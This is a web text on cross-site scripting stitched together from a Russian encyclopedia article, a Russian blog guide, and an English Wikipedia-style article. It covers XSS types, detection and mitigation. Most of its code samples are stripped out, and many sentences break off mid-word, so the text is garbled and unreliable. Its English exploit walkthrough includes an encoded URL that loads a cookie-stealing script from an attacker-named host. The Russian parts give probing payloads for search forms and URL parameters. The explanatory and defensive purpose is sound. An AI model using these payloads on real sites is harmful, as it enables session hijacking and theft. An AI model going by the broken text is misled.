Cross site scripting attack

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя [1] .

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».

XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений согласно OWASP 2013 [2] . Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атаки [3] .

Содержание

Справочная информация [ править | править код ]

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена. Это правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com) (недоступная ссылка) [4] .

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен JavaScript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к JavaScript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности. [5]

XSS уязвимости зарегистрированы и используются с середины 1990-x годов [6] . Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter [7] , ВКонтакте [8] , MySpace [9] , YouTube [10] , Facebook [11] и др.

Классификация [ править | править код ]

Не существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различают по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).

По вектору [12] [ править | править код ]

Отражённые (Непостоянные) [ править | править код ]

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой. [13] Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки [14] . Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Если сайт не экранирует угловые скобки, преобразуя их в « » и « > », получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим для вектора XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (Постоянные) [ править | править код ]

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID):

DOM-модели [ править | править код ]

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример DOM-модели XSS — баг, найденный в 2011 году в нескольких JQuery плагинах [15] . Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки [16] . Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например AngularJS [17] .

По каналам внедрения скрипта [18] [ править | править код ]

Ошибки в браузере [ править | править код ]

Bugzilla, 2004 год. [19] В некоторых браузерах (по крайней мере, Internet Explorer) при задании URL’а

не происходит URL-кодирования, и код

внедрит в страницу скрипт.

Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML [ править | править код ]

phpBB, 2002 год [20] [21] . Хотя URL картинок проверяется на протокол (разрешён только http: ), сам URL никак не экранируется, и строкой наподобие

можно протащить в документ пользовательский скрипт.

Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: ‘"&<> . Сервер может экранировать не все символы (известный недостаток PHP [22] ), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething(); .

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений [23] . Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах [ править | править код ]

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Подмена кодировки в заголовке страницы [ править | править код ]

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег расположен до тега и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как и " . Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной. [24]

Через внедрение SQL-кода [ править | править код ]

Если сайт и допускает внедрение SQL-кода, и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код, [25] то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.

Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт. Бывают атаки и без хранения HTML в БД — СУБД вернёт тот скрипт, который записан в тексте запроса.

По способу воздействия [26] [ править | править код ]

Активные [ править | править код ]

Активная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.

a onfocus=alert(1337) AUTOFOCUS >

В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а также у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.

Пассивные (Автономные) [ править | править код ]

Пассивная XSS атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).

Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.

XSS (межсайтовый скриптинг) – одна из разновидностей атак на веб-системы, которая подразумевает внедрение вредоносного кода на определенную страницу сайта и взаимодействие этого кода с удаленным сервером злоумышленников при открытии страницы пользователем.

Термин с английского расшифровывается как Cross-Site Scripting, но при этом получил аббревиатуру XSS, чтобы не было путаницы с CSS (каскадные таблицы стилей).

Как работает межсайтовый скриптинг

Основная цель межсайтового скриптинга – кража cookies пользователей при помощи встроенного на сервере скрипта с дальнейшей выборкой необходимых данных и использованием их для последующих атак и взломов. Злоумышленник осуществляет атаку пользователей не напрямую, а с использованием уязвимостей веб-сайта, который посещают жертвы, и внедряет специальный JavaScript. В браузере у пользователей этот код отображается как единая часть сайта. При этом посещаемый ресурс по факту является соучастником XSS-атаки.

Если сравнивать с SQL-инъекциями, то XSS безопасен для сервера, но несет угрозу для пользователей зараженного ресурса или страницы. Однако, если к злоумышленнику попадут cookies администратора, можно получить доступ к панели управления сайтом и его содержимому.

Методика атаки через XSS

Запуск вредоносного кода JavaScript возможен только в браузере жертвы, поэтому сайт, на который зайдет пользователь, должен иметь уязвимость к XSS. Для совершения атаки злоумышленник изначально проверяет ресурсы на наличие уязвимостей через XSS, используя автоматизированные скрипты или ручной режим поиска. Обычно это стандартные формы, которые могут отправлять и принимать запросы (комментарии, поиск, обратная связь).

Проводится полный сбор страниц с формами ввода, и каждая сканируется на наличие уязвимостей. Например, у нас есть страница «Поиск» на сайте. Для проверки уязвимости XSS достаточно ввести запрос:

Если на экране появится уведомление, значит вы обнаружили брешь в безопасности. В противном случае система отобразит вам страницу с результатами поиска. Основные популярные CMS уже давно лишились подобных проблем, но из-за возможности расширения функционала за счет модулей и плагинов, создаваемых сторонними разработчиками, шансы на использование уязвимостей XSS возрастают в разы, особенно в Joomla, DLE, Bitrix, WordPress. Чаще всего XSS-уязвимости проверяются в браузере Internet Explorer.

Еще один возможный вариант поиска – использование страниц, которые обрабатывают GET-запросы. Допустим, у нас есть ссылка вида: http://site.ru/catalog?p=8

В адресной строке вместо идентификатора (8) добавляем скрипт – ">, в результате чего получаем ссылку такого вида: http://site.ru/catalog?p= ">.

Если страница имеет уязвимости XSS, на экране появится уведомление такого же плана, как и в первом случае.

Для поиска «дыр» на сайте существует огромное количество готовых скриптов и запросов, и если ни один из них не подходит, значит ресурс надежно защищен от подобных атак.

Общая классификация XSS

Четкой классификации для межсайтового скриптинга не существует, но экспертами по всему миру выделено три основных типа.

Хранимые XSS (постоянные). Один из самых опасных типов уязвимостей, так как позволяет злоумышленнику получить доступ к серверу и уже с него управлять вредоносным кодом (удалять, модифицировать). Каждый раз при обращении к сайту выполняется заранее загруженный код, работающий в автоматическом режиме. В основном таким уязвимостям подвержены форумы, порталы, блоги, где присутствует возможность комментирования в HTML без ограничений. Вредоносные скрипты с легкостью могут быть встроены как в текст, так и в картинки, рисунки.

Отраженные XSS (непостоянные). В этом случае вредоносная строчка выступает в роли запроса жертвы к зараженному веб-сайту. Работает этот принцип по следующей схеме:

1. Злоумышленник заранее создает URL-ссылку, которая будет содержать вредоносный код и отправляет его своей жертве.
2. Она направляет этот URL-запрос на сайт (переходит по ссылке).
3. Сайт автоматически берет данные из вредоносной строки и подставляет в виде модифицированного URL-ответа жертве.
4. В итоге в браузере у жертвы выполняется вредоносный скрипт, который и содержится в ответе, а злоумышленник получает все cookies этого пользователя.

DOM-модели. В этом варианте возможно использование как хранимых XSS, так и отраженных. Суть заключается в следующем:

1. Злоумышленник создает URL-адрес, который заранее содержит вредоносный код, и отправляет его по электронной почте или любым другим способом пользователю.
2. Человек переходит по этой ссылке, зараженный сайт принимает запрос, исключая вредоносную строку.
3. На странице у пользователя выполняется сценарий, в результате чего загружается вредоносный скрипт и злоумышленник получает cookies.

Виды XSS по способу взаимодействия

Так как основная цель злоумышленника – запустить вредоносный скрипт на компьютере жертвы, существует еще и два основных типа XSS-атак по способу взаимодействия.

Пассивные. От жертвы требуется определенное действие, чтобы вызвать обработчик событий и запустить вредоносный скрипт в установленной форме. Для этого используется социальная инженерия, например отправка электронного письма с призывом перейти по ссылке и нажать на определенную область на сайте. Как только пользователь наведет на нужный объект и кликнет по нему, запустится вредоносный скрипт. Если же жертва бездействует, код не будет активирован.

Активные. Злоумышленнику не нужно заманивать жертву по специальным ссылкам, так как код встраивается в базах данных или в каком-нибудь исполняемом файле на сервере. От пользователя не требуется никакой активности. У форм ввода, как правило, установлен специальный обработчик событий, автоматически активирующийся при попадании на эту страничку. В итоге все пользователи, перешедшие по этой ссылке, станут жертвами злоумышленника.

Как проверить сайт на наличие уязвимостей XSS и защитить его

Для быстрой проверки сайта на наличие уязвимостей XSS можно воспользоваться специализированными сервисами, которые в автоматическом режиме проведут сканирование страницы. В обязательном порядке нужно проверять все URL, где возможна отправка данных со стороны пользователя (формы комментариев, обратная связь, поиск). В качестве примера можете использовать http://xss-scanner.com, но не стоит ограничиваться лишь одним инструментом.

Подобные сервисы не дают полной гарантии успеха, поэтому рекомендуем проверять найденные страницы в ручном режиме и обязательно исключить все опасные спецсимволы, заменив их безопасными. Речь идет о скобках , в которых и прописываются все зарезервированные языком html-запросы и теги.

Например, для быстрой фильтрации и автоматической замены спецсимволов вы можете использовать следующий код на сайте:

$_GET[‘q’]=str_replace ($filter, "|", $_GET[‘q’]).

Несколько советов по предотвращению использования XSS на вашем сайте:

1. Если на вашем сайте включен пользовательский ввод, должно выполняться кодирование.
2. Если кодирование невозможно или неуместно в некоторых ситуациях, заменяйте его или дополняйте валидацией.
3. Безопасная обработка данных должна выполняться в коде не только на стороне вашего web-сервера, но и на стороне пользователя (клиента).
4. Если используете популярные CMS, например WordPress, Bitrix, Joomla, регулярно обновляйте версии движка и всех установленных модулей и плагинов. По умолчанию большинство самых распространенных систем для управления сайтов защищены от использования XSS, а вот сторонние плагины из непроверенных источников могут содержать уязвимости.

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-s >[1] In 2017, XSS was still cons >[2] XSS effects vary in range from petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner network.

Contents

Background [ edit ]

Security on the web depends on a variety of mechanisms, including an underlying concept of trust known as the same-origin policy. This essentially states that if content from one site (such as https://mybank.example1.com) is granted permission to access resources (like cookies etc.) on a web browser, then content from any URL with the same (1) URI scheme, (2) host name, and (3) port number will share these permissions. Content from URLs where any of these three attributes are different will have to be granted permissions separately. [3]

Cross-site scripting attacks use known vulnerabilities in web-based applications, their servers, or the plug-in systems on which they rely. Exploiting one of these, attackers fold malicious content into the content being delivered from the compromised site. When the resulting combined content arrives at the client-side web browser, it has all been delivered from the trusted source, and thus operates under the permissions granted to that system. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, to session cookies, and to a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are a case of code injection.

Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. [4] The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability). The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security. [5]

XSS vulnerabilities have been reported and exploited since the 1990s. Prominent sites affected in the past include the social-networking sites Twitter, [6] Facebook, [7] MySpace, YouTube and Orkut. [8] [9] Cross-site scripting flaws have since surpassed buffer overflows to become the most common publicly reported security vulnerability, [10] with some researchers in 2007 estimating as many as 68% of websites are likely open to XSS attacks. [11]

Types [ edit ]

There is no single, standardized classification of cross-site scripting flaws, but most experts distinguish between at least two primary flavors of XSS flaws: non-persistent and persistent. Some sources further divide these two groups into traditional (caused by server-side code flaws) and DOM-based (in client-side code).

Non-persistent (reflected) [ edit ]

The non-persistent (or reflected) cross-site scripting vulnerability is by far the most basic type of web vulnerability. [13] These holes show up when the data prov >[14]

Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-val >[13] [14] A >[15]

A reflected attack is typically delivered via email or a neutral web site. The bait is an innocent-looking URL, pointing to a trusted site but containing the XSS vector. If the trusted site is vulnerable to the vector, clicking the link can cause the victim’s browser to execute the injected script.

Persistent (or stored) [ edit ]

The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data prov >[14]

For example, suppose there is a dating website where members scan the profiles of other members to see if they look interesting. For privacy reasons, this site hides everybody’s real name and email. These are kept secret on the server. The only time a member’s real name and email are in the browser is when the member is signed in, and they can’t see anyone else’s.

Suppose that Mallory, an attacker, joins the site and wants to figure out the real names of the people she sees on the site. To do so, she writes a script designed to run from other users’ browsers when they visit her profile. The script then sends a quick message to her own server, which collects this information.

To do this, for the question "Describe your > script > element, it won’t be shown on the screen. Then suppose that Bob, a member of the dating site, reaches Mallory’s profile, which has her answer to the First Date question. Her script is run automatically by the browser and steals a copy of Bob’s real name and email directly from his own machine.

Persistent XSS vulnerabilities can be more significant than other types because an attacker’s malicious script is rendered automatically, without the need to indiv >[17]

The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application (via email, system logs, IM etc.) that can be controlled by an attacker could become an injection vector.

Server-side versus DOM-based vulnerabilities [ edit ]

Historically XSS vulnerabilities were first found in applications that performed all data processing on the server side. User input (including an XSS vector) would be sent to the server, and then sent back to the user as a web page. The need for an improved user experience resulted in popularity of applications that had a majority of the presentation logic (maybe written in JavaScript) working on the client-side that pulled data, on-demand, from the server using AJAX.

As the JavaScript code was also processing user input and rendering it in the web page content, a new sub- >[19]

An example of a DOM-based XSS vulnerability is the bug found in 2011 in a number of jQuery plugins. [20] Prevention strategies for DOM-based XSS attacks include very similar measures to traditional XSS prevention strategies but implemented in JavaScript code and contained in web pages (i.e. input val >[21] Some JavaScript frameworks have built-in countermeasures against this and other types of attack — for example Angular.js. [22]

Self-XSS [ edit ]

Self-XSS is a form of XSS vulnerability which relies on Social Engineering in order to trick the victim into executing malicious JavaScript code into their browser. Although it is technically not a true XSS vulnerability due to the fact it relies on socially engineering a user into executing code rather than a flaw in the affected website allowing an attacker to do so, it still poses the same risks as a regular XSS vulnerability if properly executed. [23]

Mutated XSS (mXSS) [ edit ]

Mutated XSS happens when the attacker injects something that is seemingly safe, but rewritten and modified by the browser, while parsing the markup. This makes it extremely hard to detect or sanitize within the websites application logic. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters on parameters to CSS font-family.

Exploit examples [ edit ]

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the Alice-and-Bob cast of characters commonly used in computer security.

The Browser Exploitation Framework could be used to attack the web site and the user’s local environment.

Non-persistent [ edit ]

1. Alice often visits a particular website, which is hosted by Bob. Bob’s website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information. When a user logs in, the browser keeps an Authorization Cookie, which looks like some garbage characters, so both computers (client and server) have a record that she’s logged in.
2. Mallory observes that Bob’s website contains a reflected XSS vulnerability:

1. When she visits the Search page, she inputs a search term in the search box and clicks the submit button. If no results were found, the page will display the term she searched for followed by the words "not found," and the url will be http://bobssite.org/search?q=her%20search%20term .
2. With a normal search query, like the word "puppies", the page simply displays "puppies not found" and the url is "http://bobssite.org/search?q=puppies" — which is perfectly normal behavior.
3. However, when she submits an abnormal search query, like " script type = ‘application/javascript’ > alert ( ‘xss’ ); script > ",

1. An alert box appears (that says "xss").
2. The page displays " not found," along with an error message with the text ‘xss’.
3. The url is " http://bobssite.org/search?q= — which is exploitable behavior.

Mallory crafts a URL to exploit the vulnerability:

She makes the URL http://bobssite.org/search?q=puppies . She could choose to encode the ASCII characters with percent-encoding, such as http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E , so that human readers cannot immediately decipher the malicious URL. [24]

She sends an e-mail to some unsuspecting members of Bob’s site, saying "Check out some cute puppies!"

Alice gets the e-mail. She loves puppies and clicks on the link. It goes to Bob’s website to search, doesn’t find anything, and displays "puppies not found" but right in the middle, the script tag runs (it is invisible on the screen) and loads and runs Mallory’s program authstealer.js (triggering the XSS attack). Alice forgets about it.

The authstealer.js program runs in Alice’s browser, as if it originated from Bob’s website. It grabs a copy of Alice’s Authorization Cookie and sends it to Mallory’s server, where Mallory retrieves it.

Mallory now puts Alice’s Authorization Cookie into her browser as if it were her own. She then goes to Bob’s site and is now logged in as Alice.

Now that she’s in, Mallory goes to the Billing section of the website and looks up Alice’s credit card number and grabs a copy. Then she goes and changes her password so Alice can’t even log in anymore.

She decides to take it a step further and sends a similarly crafted link to Bob himself, thus gaining administrator privileges to Bob’s website.

Several things could have been done to mitigate this attack:

1. The search input could have been sanitized which would include proper encoding checking.
2. The web server could be set to redirect invalid requests.
3. The web server could detect a simultaneous login and invalidate the sessions.
4. The web server could detect a simultaneous login from two different IP addresses and invalidate the sessions.
5. The website could display only the last few digits of a previously used credit card.
6. The website could require users to enter their passwords again before changing their registration information.
7. The website could enact various aspects of the Content Security Policy.
8. Set cookie with HttpOnly flag to prevent access from JavaScript.